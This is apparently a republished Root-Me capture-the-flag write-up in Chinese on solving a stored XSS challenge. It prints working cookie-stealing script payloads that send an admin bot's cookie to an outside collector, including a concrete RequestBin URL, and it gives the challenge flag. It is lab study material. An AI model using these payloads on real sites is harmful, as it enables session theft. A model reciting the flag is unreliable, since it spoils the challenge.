8

【Root-Me】 XSS - Stored 1

 2 years ago
source link: https://exp-blog.com/safe/ctf/rootme/web-client/xss-stored-1/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
【Root-Me】 XSS

已经很直白提示是存储型 XSS 题型。

页面需要提交一个表单,在 Message 区测试注入一个 html 代码 <img src=0 />,提交后发现直接作为图片元素渲染。

01.png

打开浏览器的开发者工具查看,不难发现 Cookie 并没有标注 HttpOnly 属性,说明可以利用 document.cookie 发起 XSS 攻击。

多刷新几次页面,发现这台靶机后台有个机器人线程在定时读取我们提交的消息,当读取之后,该消息会被删掉,此时页面底部会提示 Your messages have been read

而我们要做的就是把 XSS 的 payloads 消息存储到后台,当机器人读取到这条消息时,就会把这个机器人的 Cookie 发送到我们的指定的一台服务器,实现 Cookie 窃取。

假设我们已经搭建了一台服务器 ${HOST} ,那么可以在 Message 区构造一个这样的 payloads :

exp:<script>document.write("<img src=${HOST}?tk="+document.cookie+" />");</script>

(注:此 payloads 建议直接在页面提交,若使用 Burp Suite 提交注意需要先把 + 编码成 %2B ,否则会导致服务器报错收不到消息)

02.png

提交 payloads 消息后,就登录到 ${HOST} 服务器守株待兔即可 (大概需要等5分钟),只要机器人读取了这条消息,就能收到其 Cookie 。

对于这个 ${HOST} 服务器,推荐使用 RequestBin 生成的临时 HTTP 服务器。例如你生成的 HTTP 服务的临时 URL 为 http://requestbin.fullcontact.com/qnwgrmqn,则把 payloads 修改为:

exp:<script>document.write("<img src=http://requestbin.fullcontact.com/qnwgrmqn?tk="+document.cookie+" />");</script>

当然你也可以选择自己实现一个 HTTP 服务器,但是必须有公网 IP。

03.png

最终收到的 Cookie 为:ADMIN_COOKIE=NkI9qe4cdLIO2P7MIsWS8ofD6,其值就是 flag,完成挑战。

04.png

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK